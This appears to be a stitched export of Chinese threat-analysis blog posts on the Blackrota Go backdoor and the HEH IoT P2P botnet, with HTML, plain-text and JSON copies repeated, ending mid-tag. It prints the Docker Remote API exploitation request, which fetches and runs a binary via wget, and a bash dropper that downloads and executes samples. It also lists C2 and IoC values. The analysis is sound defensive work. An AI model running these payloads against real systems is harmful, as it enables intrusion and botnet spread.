</code></pre><h3 id="blackrota--1"><strong>Blackrota 后门程序概况</strong></h3><p>如上文所述，<strong>Blackrota</strong> 的后门程序由 Go 语言编写，在 IDAPro 中用 <strong><a href="https://github.com/0xjiayu/go_parser">go_parser</a></strong> 解析之后，可以发现该程序由 <strong>Go1.15.3</strong> 编译而来，编译该项目的主机中，<strong>GOROOT</strong> 路径为 <code>"/usr/local/Cellar/go/1.15.3/libexec"</code> 。另外，还可以分析出该项目涉及的源码文件路列表(源码文件的目录以随机字符串命名)：</p><pre><code>/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/main.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/http.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/packet.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/commands.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/sysinfo_linux.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/meta.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/setting.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/req.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/resp.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/dump.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/pmdjfejhfmifhmelifpm/util.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rsa.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rand.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/aes.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/eepmoknkdieemfhjjjgl/config.go
</code></pre><h3 id="blackrota--2"><strong>Blackrota 的函数符号</strong></h3><p>从 <strong><a href="https://github.com/0xjiayu/go_parser">go_parser</a></strong> 的解析结果来看，给逆向分析工作带来最大阻力的，则是<strong>Blackrota</strong> 样本中导入的第三方库源码中的<strong>函数名</strong>(Function Names)、<strong>数据类型名</strong>(Type Names)以及部分<strong>类型绑定的方法名</strong>(Method names)被混淆成无意义的随机字符。解析后的部分函数列表：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/obfuscated_funcs.png" class="kg-image" alt loading="lazy"></figure><p>被混淆的数据类型定义：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/obfuscated_type.png" class="kg-image" alt loading="lazy"></figure><p>另外，仍有部分绑定在数据类型上的方法名未被完全混淆：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/half_obfuscated_meth_name.png" class="kg-image" alt loading="lazy"></figure><p>Go 语言二进制文件构建时，是全静态链接构建二进制文件。所以会把标准库和第三方库中用到的所有代都打包进二进制文件中，导致二进制文件体积很大。这种特性从逆向分析角度来看，就是在反汇编工具中打开 Go 二进制文件就会看到少则几千、多则上万个函数。如果这些函数没有相应的符号信息，那么针对 Go 二进制文件的逆向分析工作就会举步维艰。</p><p>好在 Go 语言还有另外一个机制：构建二进制文件时，还会把<strong>运行时符号信息</strong>(RTSI, Runtime Symbol Information)和<strong>运行时类型信息</strong>(RTTI, Runtime Type Information)都打包进二进制文件中，并且无法被 Strip 掉。当前业界几乎所有针对 Go 二进制文件的逆向辅助插件或脚本，以 <strong><a href="https://github.com/0xjiayu/go_parser">go_parser</a></strong> 为例，都是通过解析 Go 二进制文件中这些符号信息和类型信息来恢复大量的符号和类型定义，进而辅助逆向分析工作的。Go 语言项目经常导入大量的第三方开源 Package，通过分析这类工具解析出来的符号信息，就能顺藤摸瓜找到相应的开源 Package，阅读第三方 Package 的源码，则会让逆向分析工作效率进一步提升。</p><p>而 <strong>Blackrota</strong> 这种混淆符号信息和类型信息的手法，恰好扼住了这类逆向辅助工具的”命门”。使它们解析、恢复出来的符号信息变得没有可读性，也就失去了符号和类型信息的意义，更无法确知项目中用到了哪些第三方库。这样就会让逆向分析工作变得阻碍重重。</p><p>经过我们仔细分析，才发现 <strong>Blackrota</strong> 的样本是由 <strong><a href="https://github.com/darkr4y/geacon">geacon</a></strong> 改写而来。</p><p>这样一来，我们就可以尝试用以下步骤来恢复 <strong>Blackrota</strong> 样本中的函数符号：</p><ol><li>编译一个与 <strong>Blackrota</strong> 样本相同 CPU 架构的 <strong><a href="https://github.com/darkr4y/geacon">geacon</a></strong> ，不做 striped 处理，保留符号信息；</li><li>在 IDAPro 中用 <strong><a href="https://github.com/fireeye/flare-ida/blob/master/python/flare/idb2pat.py">idb2pat.py</a></strong> 来提取 <strong><a href="https://github.com/darkr4y/geacon">geacon</a></strong> 中函数的 Pattern(<strong>geacon.pat</strong>)；</li><li>用 Flair Tools 中的 <strong>sigmake</strong> 工具来制作 <strong>geacon</strong> 的 Flirt Signature 文件(<strong>geacon.sig</strong>)；</li><li>在 IDAPro 中向 <strong>Blackrota</strong> 的样本导入 <strong>geacon.sig</strong>，识别并恢复函数符号。</li></ol><p>大功告成！但还不能高兴太早，因为我们发现 <strong>Blackrota</strong> 的函数符号并没有完全被识别，还有近百个函数没有被 <strong>geacon</strong> 的符号所覆盖，部分被识别的函数如下：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/part_of_recovered_funcname.png" class="kg-image" alt loading="lazy"></figure><h3 id="blackrota--3"><strong>Blackrota 中的字符串</strong></h3><p>其实， <strong><a href="https://github.com/0xjiayu/go_parser">go_parser</a></strong> 本来是可以解析 Go 二进制文件中的字符串的，它还可以为解析好的字符串创建 Data Reference 到字符串引用的地方，这样逆向二进制文件时，在什么代码处引用了什么字符串就会一目了然。但是我们上面用 <strong><a href="https://github.com/0xjiayu/go_parser">go_parser</a></strong> 来解析 <strong>Blackrota</strong> 只看到极个别的 Go 标准库里用到的函数被解析，而 geacon 内部的字符串则没有被解析出来。</p><p>问题就出在上面没有被 <strong>geacon</strong> 的符号所覆盖的函数上面。</p><p>通过分析，我们发现 <strong>Blackrota</strong> 对它内部用到的所有字符串都进行了 XOR 编码处理，并会在运行的时候动态解码字符串再引用。每一个字符串都有一个对应的 XOR 解码函数，此函数解出一串字符并返回，然后解出的字符串会在父函数中被引用。其中的一个 XOR 解码函数关键部分如下图：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/xor_func.png" class="kg-image" alt loading="lazy"></figure><h2 id="--2"><strong>总结</strong></h2><p>Go 语言编写的被混淆过的程序很少见，除了个别白帽子简单的尝试，以前见过同行曝光的一个只混淆 <strong>package main</strong> 中函数符号的<a href="https://twitter.com/joakimkennedy/status/1298554039240732672">勒索病毒</a>：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/obfu_ransom.png" class="kg-image" alt loading="lazy"></figure><p>该勒索病毒只简单混淆了 main package 中的几个函数的名字，几乎不会给逆向分析工作带来什么阻力：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/obfu_ransom_funcnames.png" class="kg-image" alt loading="lazy"></figure><p>而 <strong>Blackrota</strong> 的混淆方式，则给逆向分析工作带来新的挑战。随着 Go 语言的流行，将来 Go 语言编写的恶意软件会越来越多，而针对性的对抗也会频频出现。<strong>Blackrota</strong> 或许只是一个开始。</p><h2 id="iocs-"><strong>IoCs:</strong></h2><h3 id="md5"><strong>MD5</strong></h3><pre><code>e56e4a586601a1130814060cb4bf449b
6e020db51665614f4a2fd84fb0f83778
9ca7acc98c17c6b67efdedb51560e1fa
</code></pre><h3 id="cc"><strong>C&C</strong></h3><pre><code>blackrato.ga</code></pre> | 概述
最近，我们通过 Anglerfish 蜜罐捕获到一个利用 Docker Remote API 未授权访问漏洞来传播的 Go 语言编写的恶意后门程序，鉴于它上线的 C2 为 blackrota.ga ，我们把它命名为 Blackrota。
Blackrota 后门程序目前只有 Linux 版，为 ELF 文件格式，支持 x86/x86-64 两种 CPU 架构。Blackrota 基于 geacon 配置并编译，geacon 是一个 Go 语言实现的 CobaltStrike Beacon，它可以作为 CobalStrike 的 Beacon 与 CobaltStrike 交互来控制失陷主机：
不过它只实现了原生 CobaltStrike Beacon 中的部分关键功能：
* CMD_SHELL: 执行 Shell 命令；
* CMD_UPLOAD: 上传文件;
* CMDDOWNLOAD: 下载指定文件；
* CMD_FILE_BROWSE: 文件浏览；
* CMD_CD: 切换目录；
* CMD_SLEEP: 设置睡眠延迟时间；
* CMD_PWD: 当前目录；
* CMD_EXIT: 退出。
不同的是，Blackrota 在编译前，对 geacon 源码以及 geacon 用到的第三方 Package 中的函数名、变量名甚至源码文件路径字符串做了混淆。导致我们在逆向分析过程中无法直观看出该后门程序导入了哪些第三方 Package，进而无法直接恢复关键的函数符号与有意义的 Type Names。
另外，Blackrota 的作者还把程序中所有的字符串做了编码处理，每一个字符串都用一个 XOR 编码的函数来编码，执行的时候动态解码后再调用。导致逆向工程师无法直接看到程序中用到的字符串，现有的针对 Go 语言二进制文件逆向分析的辅助脚本、插件更无法解析这些字符串，给逆向分析工作带来很大的阻力。
历史上我们见过的 Go 编写的恶意软件，最多在编译时做了 Strip 处理，极个别会有轻微的混淆，都不会对逆向分析工作带来多大困难。而 Blackrota 则带来了新的混淆方式，给 Go 二进制文件的逆向分析工作带来新的挑战。
这是我们迄今为止发现的混淆程度最高的 Go 编写的 ELF 格式的恶意软件。
详细分析
Blackrota 的传播
Blackrato 的作者针对未授权 Docker Remote API 利用的 Payload 有多个，其中典型的 Payload 精简如下：
POST /v1.37/containers/create HTTP/1.1
Host: {target_host}:{target_port}
User-Agent: Docker-Client/19.03.7 (linux)
Content-Length: 1687
Content-Type: application/json
{"Env":[],"Cmd":["/bin/sh","-c","rm ./32 ; wget https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32;chmod 777 32; nohup ./32 \u003c/dev/null \u003e/dev/null 2\u003e\u00261 \u0026"],"Image":"alpine","Volumes":{},"WorkingDir":"","HostConfig":{"Binds":["/:/mnt"]}
利用成功的 Payload，会从以下 2 个 URL 下载 32bit 或者 64bit Blackrota 后门程序：
https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32
https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/64
Blackrota 后门程序概况
如上文所述，Blackrota 的后门程序由 Go 语言编写，在 IDAPro 中用 go_parser 解析之后，可以发现该程序由 Go1.15.3 编译而来，编译该项目的主机中，GOROOT 路径为 "/usr/local/Cellar/go/1.15.3/libexec" 。另外，还可以分析出该项目涉及的源码文件路列表(源码文件的目录以随机字符串命名)：
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/main.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/http.go
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Blackrota 的函数符号
从 go_parser 的解析结果来看，给逆向分析工作带来最大阻力的，则是Blackrota 样本中导入的第三方库源码中的函数名(Function Names)、数据类型名(Type Names)以及部分类型绑定的方法名(Method names)被混淆成无意义的随机字符。解析后的部分函数列表：
被混淆的数据类型定义：
另外，仍有部分绑定在数据类型上的方法名未被完全混淆：
Go 语言二进制文件构建时，是全静态链接构建二进制文件。所以会把标准库和第三方库中用到的所有代都打包进二进制文件中，导致二进制文件体积很大。这种特性从逆向分析角度来看，就是在反汇编工具中打开 Go 二进制文件就会看到少则几千、多则上万个函数。如果这些函数没有相应的符号信息，那么针对 Go 二进制文件的逆向分析工作就会举步维艰。
好在 Go 语言还有另外一个机制：构建二进制文件时，还会把运行时符号信息(RTSI, Runtime Symbol Information)和运行时类型信息(RTTI, Runtime Type Information)都打包进二进制文件中，并且无法被 Strip 掉。当前业界几乎所有针对 Go 二进制文件的逆向辅助插件或脚本，以 go_parser 为例，都是通过解析 Go 二进制文件中这些符号信息和类型信息来恢复大量的符号和类型定义，进而辅助逆向分析工作的。Go 语言项目经常导入大量的第三方开源 Package，通过分析这类工具解析出来的符号信息，就能顺藤摸瓜找到相应的开源 Package，阅读第三方 Package 的源码，则会让逆向分析工作效率进一步提升。
而 Blackrota 这种混淆符号信息和类型信息的手法，恰好扼住了这类逆向辅助工具的”命门”。使它们解析、恢复出来的符号信息变得没有可读性，也就失去了符号和类型信息的意义，更无法确知项目中用到了哪些第三方库。这样就会让逆向分析工作变得阻碍重重。
经过我们仔细分析，才发现 Blackrota 的样本是由 geacon 改写而来。
这样一来，我们就可以尝试用以下步骤来恢复 Blackrota 样本中的函数符号：
1. 编译一个与 Blackrota 样本相同 CPU 架构的 geacon ，不做 striped 处理，保留符号信息；
2. 在 IDAPro 中用 idb2pat.py 来提取 geacon 中函数的 Pattern(geacon.pat)；
3. 用 Flair Tools 中的 sigmake 工具来制作 geacon 的 Flirt Signature 文件(geacon.sig)；
4. 在 IDAPro 中向 Blackrota 的样本导入 geacon.sig，识别并恢复函数符号。
大功告成！但还不能高兴太早，因为我们发现 Blackrota 的函数符号并没有完全被识别，还有近百个函数没有被 geacon 的符号所覆盖，部分被识别的函数如下：
Blackrota 中的字符串
其实， go_parser 本来是可以解析 Go 二进制文件中的字符串的，它还可以为解析好的字符串创建 Data Reference 到字符串引用的地方，这样逆向二进制文件时，在什么代码处引用了什么字符串就会一目了然。但是我们上面用 go_parser 来解析 Blackrota 只看到极个别的 Go 标准库里用到的函数被解析，而 geacon 内部的字符串则没有被解析出来。
问题就出在上面没有被 geacon 的符号所覆盖的函数上面。
通过分析，我们发现 Blackrota 对它内部用到的所有字符串都进行了 XOR 编码处理，并会在运行的时候动态解码字符串再引用。每一个字符串都有一个对应的 XOR 解码函数，此函数解出一串字符并返回，然后解出的字符串会在父函数中被引用。其中的一个 XOR 解码函数关键部分如下图：
总结
Go 语言编写的被混淆过的程序很少见，除了个别白帽子简单的尝试，以前见过同行曝光的一个只混淆 package main 中函数符号的勒索病毒：
该勒索病毒只简单混淆了 main package 中的几个函数的名字，几乎不会给逆向分析工作带来什么阻力：
而 Blackrota 的混淆方式，则给逆向分析工作带来新的挑战。随着 Go 语言的流行，将来 Go 语言编写的恶意软件会越来越多，而针对性的对抗也会频频出现。Blackrota 或许只是一个开始。
IoCs:
MD5
e56e4a586601a1130814060cb4bf449b
6e020db51665614f4a2fd84fb0f83778
9ca7acc98c17c6b67efdedb51560e1fa
C&C
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"],[0,[0,2],2,"geacon"],[0,[],0," 中函数的 Pattern("],[0,[0],1,"geacon.pat"],[0,[],0,")；"]],[[0,[],0,"用 Flair Tools 中的 "],[0,[0],1,"sigmake"],[0,[],0," 工具来制作 "],[0,[0],1,"geacon"],[0,[],0," 的 Flirt Signature 文件("],[0,[0],1,"geacon.sig"],[0,[],0,")；"]],[[0,[],0,"在 IDAPro 中向 "],[0,[0],1,"Blackrota"],[0,[],0," 的样本导入 "],[0,[0],1,"geacon.sig"],[0,[],0,"，识别并恢复函数符号。"]]]],[1,"p",[[0,[],0,"大功告成！但还不能高兴太早，因为我们发现 "],[0,[0],1,"Blackrota"],[0,[],0," 的函数符号并没有完全被识别，还有近百个函数没有被 "],[0,[0],1,"geacon"],[0,[],0," 的符号所覆盖，部分被识别的函数如下："]]],[10,7],[1,"h3",[[0,[0],1,"Blackrota 中的字符串"]]],[1,"p",[[0,[],0,"其实， "],[0,[0,3],2,"go_parser"],[0,[],0," 本来是可以解析 Go 二进制文件中的字符串的，它还可以为解析好的字符串创建 Data Reference 到字符串引用的地方，这样逆向二进制文件时，在什么代码处引用了什么字符串就会一目了然。但是我们上面用 "],[0,[0,3],2,"go_parser"],[0,[],0," 来解析 "],[0,[0],1,"Blackrota"],[0,[],0," 只看到极个别的 Go 标准库里用到的函数被解析，而 geacon 内部的字符串则没有被解析出来。"]]],[1,"p",[[0,[],0,"问题就出在上面没有被 "],[0,[0],1,"geacon"],[0,[],0," 的符号所覆盖的函数上面。"]]],[1,"p",[[0,[],0,"通过分析，我们发现 "],[0,[0],1,"Blackrota"],[0,[],0," 对它内部用到的所有字符串都进行了 XOR 编码处理，并会在运行的时候动态解码字符串再引用。每一个字符串都有一个对应的 XOR 解码函数，此函数解出一串字符并返回，然后解出的字符串会在父函数中被引用。其中的一个 XOR 解码函数关键部分如下图："]]],[10,8],[1,"h2",[[0,[0],1,"总结"]]],[1,"p",[[0,[],0,"Go 语言编写的被混淆过的程序很少见，除了个别白帽子简单的尝试，以前见过同行曝光的一个只混淆 "],[0,[0],1,"package main"],[0,[],0," 中函数符号的"],[0,[5],1,"勒索病毒"],[0,[],0,"："]]],[10,9],[1,"p",[[0,[],0,"该勒索病毒只简单混淆了 main package 中的几个函数的名字，几乎不会给逆向分析工作带来什么阻力："]]],[10,10],[1,"p",[[0,[],0,"而 "],[0,[0],1,"Blackrota"],[0,[],0," 的混淆方式，则给逆向分析工作带来新的挑战。随着 Go 语言的流行，将来 Go 语言编写的恶意软件会越来越多，而针对性的对抗也会频频出现。"],[0,[0],1,"Blackrota"],[0,[],0," 或许只是一个开始。"]]],[1,"h2",[[0,[0],1,"IoCs:"]]],[1,"h3",[[0,[0],1,"MD5"]]],[10,11],[1,"h3",[[0,[0],1,"C&C"]]],[10,12]],"ghostVersion":"3.0"} | 609617163819e50007633d17 |
post | null | 2021-05-08T04:45:10.000Z | 63873b9a8b1c1e0007f52fc1 | heh-botnet-yi-ge-chu-yu-kai-fa-jie-duan-de-iot-p2p-botnet | 0 | 2021-05-08T04:45:48.000Z | public | published | null | 2020-11-09T04:45:00.000Z | HEH Botnet, 一个处于开发阶段的 IoT P2P Botnet | <h2 id="-"><strong>概述</strong></h2><p>近期 360Netlab 未知威胁检测系统捕获到一批未知恶意家族的样本，这一批样本支持的 CPU 架构有 x86(32/64), ARM(32/64), MIPS(MIPS32/MIPS-III) 以及 PPC，经过我们分析，将其命名为 <strong>HEH Botnet</strong>。HEH 是一个由 Go 语言编写的 IoT P2P Botnet，它的 P2P 协议不基于公开的任何 P2P 协议，而是自研协议。HEH 现阶段会通过暴力破解 <strong>23/2323</strong> 两个端口的 <strong>Telnet</strong> 服务来传播，而不针对特定设备。</p><p>基于以下两点，我们认为它还处于开发测试阶段：</p><ol><li>整个僵尸网络的运作机制还不太成熟；</li><li>部分指令还未实现。</li></ol><p>根据 <a href="https://github.com/0xjiayu/go_parser">go_parser</a> 的解析结果，我们捕获的 HEH 样本由 <strong>Go 1.15.1</strong> 构建，构建样本用到的源码文件列表如下：</p><pre><code>/mnt/c/Users/brand/go/src/heh/attack.go
/mnt/c/Users/brand/go/src/heh/commands.go
/mnt/c/Users/brand/go/src/heh/structFun.go
/mnt/c/Users/brand/go/src/heh/cryptotext.go
/mnt/c/Users/brand/go/src/heh/httpserver.go
/mnt/c/Users/brand/go/src/heh/killer.go
/mnt/c/Users/brand/go/src/heh/main.go
/mnt/c/Users/brand/go/src/heh/network.go
/mnt/c/Users/brand/go/src/heh/peerlist.go
/mnt/c/Users/brand/go/src/heh/portkill.go
/mnt/c/Users/brand/go/src/heh/services.go
/mnt/c/Users/brand/go/src/heh/telnet.go
</code></pre><p>注意到该样本内部的项目名为 <strong>heh</strong>，正是因此，我们把它命名为 <strong>HEH Botnet</strong>。根据源码文件路径的特征，我们还可以确认的一点是，该家族样本是作者在 Windows 平台的 WSL 环境中构建而来。</p><h2 id="--1"><strong>功能简述</strong></h2><p>HEH Botnet 的样本包含三个功能模块：传播模块、本地 HTTP 服务模块和 P2P 模块。概要流程图如下：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/HEHBotnet.png" class="kg-image" alt loading="lazy"></figure><h2 id="--2"><strong>详细分析</strong></h2><h3 id="--3"><strong>起始阶段</strong></h3><p>我们捕获的 HEH Botnet 样本最初由一个名为 <strong>wpqnbw.txt</strong> 的恶意 Shell 脚本下载并执行的，该恶意 Shell 脚本会依次下载并执行所有 CPU 架构的恶意程序，恶意脚本和二进制程序都托管在 <strong>pomf.cat</strong> 站点。<strong>wpqnbw.txt</strong> 的开头部分内容(后续内容类似)：</p><pre><code>#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /
wget hxxp://a.pomf.cat/xggxyk
busybox wget hxxp://a.pomf.cat/xggxyk
chmod 777 xggxyk; busybox chmod 777 xggxyk; sh xggxyk "$1 3"</code></pre><p>恶意样本启动时传入的参数，第一个参数为一个 IP 地址，默认是本机外网 IP，理论上也可以是某个 Peer 的 IP 地址；第二个参数为 Daemon Flag，如果设置该参数为 <strong>3</strong>，样本启动后将会以守护进程的方式运行。</p><p>样本启动后，会根据端口号 Kill 掉一系列服务进程：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/kill_serv_by_ports.png" class="kg-image" alt loading="lazy"></figure><p>然后，HEH 样本会在本地的 <strong>:80</strong> 端口启动一个 HTTP Server：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/start_http_serv.png" class="kg-image" alt loading="lazy"></figure><p>这个 HTTP Server 的初始状态会设置 <code>:80/0</code> ~ <code>:80/9</code> 共 10 个 URI，对应 8 种语言的 《世界人权宣言》 和 2 个空内容。其中 <code>:80/0</code> 返回的是中文版的《世界人权宣言》：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/http_server.png" class="kg-image" alt loading="lazy"></figure><p>8 种语言的《世界人权宣言》：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/human_right_decl.png" class="kg-image" alt loading="lazy"></figure><p>这些初始状态的《世界人权宣言》内容，很快就会被样本从 Peer 的 HTTP 服务端口拉取的数据覆盖掉，也可以通过 P2P 协议中的特定指令来更新这些内容。</p><h3 id="p2p-"><strong>P2P 模块</strong></h3><p>HEH Botnet 的 P2P 模块初始化时，有两个关键步骤：</p><ol><li>初始化 Peer List 对象，该对象是一个 Slice 类型的全局变量，初始长度为 <strong>1000</strong>。Go 语言定义如下：</li></ol><pre><code>package main
import "net"
type Peer struct {
addr net.UDPAddr
expirationTimer uint8
}
var peerList []Peer
</code></pre><p>2. 更新 HTTP 响应数据。通过向 <code>argv[1]</code> <strong>:80</strong> 端口的 HTTP 服务请求 0~9 的 HTTP URI，来更新自己相应的数据。根据样本行为来看，后续这里更新的数据，是<strong>可执行的二进制文件</strong>。</p><p>HEH Botnet 的 P2P 模块，主要由 3 个组件构成：</p><ol><li>Ping 组件：间隔 10s 每轮，每轮里隔 0.1s <strong>依次</strong>向每个 Peer 的 UDP 服务端口发 <strong>Ping</strong> 指令；</li><li>Peer 更新组件：间隔 10s 每轮，每轮里隔 0.1s <strong>随机</strong>向一个 Peer 的 UDP 服务端口发 <strong>Peer Upate</strong> 指令，对端收到该指令后，会检查自己的 Peer List 是否已包含该 Peer 地址信息，不包含的话则把该 Peer 地址信息加入自己的 Peer List；</li><li>UDP 服务监听组件：HEH Botnet 的本地 Peer 服务是一个 UDP 服务，该服务监听其他 Peer 发来的数据或指令，解析指令后进行相应的操作。</li></ol><p>这里重点介绍 HEH Botnet 的 UDP 服务监听组件。该组件有两个关键功能点：<strong>UDP 服务端口号生成</strong>和<strong>指令解析</strong>。</p><p>HEH Botnet 的 UDP 服务端口不是固定不变的，也不是随机生成的，而是根据 Peer 自己的公网 IP 进行数字计算得出。HEH Bot 每次收到一个新 Peer 的 IP 地址，都会根据该算法计算出 Peer 的 UDP 端口，并把这些信息打包存入自己的 Peer List 中。该端口生成算法在函数 <strong>main.portGenerator()</strong> 中实现，关键部分如下：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/port_gen.png" class="kg-image" alt loading="lazy"></figure><p>HEH Bot 可解析的指令，分为两类：P2P 协议相关的功能指令(<strong>Protocol OpCode</strong>)和针对 Bot 的控制指令(<strong>Bot Cmd</strong>)。指令码位于 <strong>UDP 数据的第一个字节</strong>，分类如下：</p><p>OpCode指令长度(Bytes)意义操作<strong>2</strong>1Ping向 Peer 回一个 Pong 指令<strong>3</strong>1Pong-<strong>4</strong>1Announce(声明自己是一个 Peer)将 Peer 信息加入自己 Peer List，向 Peer 再回一个 Announce<strong>5</strong>1PeerUpdate(要求对方更新自己的信息)更新 Peer List<strong>1</strong>> 0x229控制 Bot 执行指定 Command解析并执行 Bot Cmd</p><p>当指令码为 <strong>1</strong> 的时候，代表该指令为针对 Bot 的控制指令码。此类指令前 0x229 Bytes 内容含义是固定的，其中依次包含校验用到的 Sha256 Value 和 PSS Signature，最后还有 8 Bytes 的额外校验字段；从 0x229 字节往后才是真正的指令数据。以 <strong>7</strong> 号 Bot Cmd(<strong>Cmd.UpdateBotFile</strong>) 为例，指令数据结构如下：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/bot_cmd_st.png" class="kg-image" alt loading="lazy"></figure><p>HTH Bot 针对收到的 Bot Cmd 数据的校验分 3 步：</p><ol><li>检查指令数据的长度，以及 Extra Flag；</li><li>利用 PSS Signature 校验指令数据；</li><li>检查最后真实数据的 Sha256 Hash。</li></ol><p>后两步逻辑如下所示：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/cmd_verify.png" class="kg-image" alt loading="lazy"></figure><p>其中，校验 PSS Signature 时用到的公钥为：</p><pre><code>-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA3c1Jzopt9E4+cDwTMKUo
uBSfu9DoFYctD6OIkiZqE1iF5sJPOr6xhU+nV9sebcAClnO9+6YvlKDIVVwjzNbm
jcfUAYyq8FSLJrifEYvT2LYkYYy/SNKcaaTmAKCJ3ACSXpjhcr6WW5/05ygBShVo
E0q+fVhVTqnkOPpIowuHs9RH0DcuGsxKYXTQizuC0Xa0HrfUrnI7FWNSUfm8v1mA
3FnlikNdTMrlRItnRCGIj+8tyiyvyQAi0/SWrfZLG+HzMgxf+wVBfD9H2XTUcUWX
uoDIlSRIJJkN88dJ+uf1dlHlCqhF9TrimpzALq+OhSd1alUaf+PFINSrjNuIc+wU
9cuYQeD6kMynXu7bKTVqKPz8M0EathmduOthNL7WUhcKUppyyBIfkVmH9cnxWcZu
jPpnGH9n5Djy1QaexRT9JBx7eNSps31cZ9/rQgO05SlA4KFZARCIXNPZmGOZmL8Y
33dPu29ykF02kiOau6SyLgRW2bIudMCrhL82fSo6zSNCXOby8VE3j/BCfn2lx5oI
n5ES65zs2GuF3DGfwheNLiaajV5belCOMCD07TjfBfHJz0hisTy5K1UHItqHSFCa
9EijW7uk416Ulx0HHChKAQJ8Mn2AqD1WBR4Iu20WQENJNIT7ketyCCMwJH0mO3en
LW2/t1GOPfXptXtNmdzp01sCAwEAAQ==
-----END PUBLIC KEY-----
</code></pre><p>HEH Bot 支持解析的 Bot Cmd 有如下几个：</p><p>Cmd Code功能<strong>0</strong><strong>Restart</strong>: 重启 Bot<strong>2</strong><strong>Exit</strong>: 退出运行<strong>3</strong><strong>Attack</strong>: 发起攻击（<strong>未实现</strong>）<strong>4</strong><strong>Execute</strong>: 执行 Shell 命令<strong>5</strong><strong>Print</strong>: <strong>未实现</strong><strong>6</strong><strong>PeerUpdate</strong>: 更新 Peer List<strong>7</strong><strong>UpdateBotFile</strong>: 通过指定一个文件下载链接，让 Bot 去下载并更新 Bot 持有的文件内容。该文件会被 Bot 用作 HTTP Response Data<strong>8</strong><strong>SelfDestruct</strong>: 启动设备自毁<strong>9</strong><strong>Misc</strong>: <strong>未实现</strong></p><p>目前来看，对整个 Botnet 最有用的功能是执行 Shell 命令、更新 Peer List 和 UpdateBotFile 这 3 个。代码中的 <strong>Attack</strong> 函数只是预留的空函数，并没有开始实现。由此可见，目前该 Botnet 还是处于扩张阶段，扩张后下一步的功能还没有实现。将来如果作者实现了其中的 <strong>Attack</strong> 指令，将会使 HEH Botnet 变得更加危险。</p><p>Bot 内解析 Bot Cmd 的函数为 <strong>main.executeCommand()</strong> ，该函数的整体结构如下：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/exec_cmd_func_overview.png" class="kg-image" alt loading="lazy"></figure><p>另外，当 Bot Cmd Code 为 <strong>8</strong> 时，Bot 将会通过下面一系列 Shell 命令实施设备自毁：</p><figure class="kg-card kg-image-card"><img 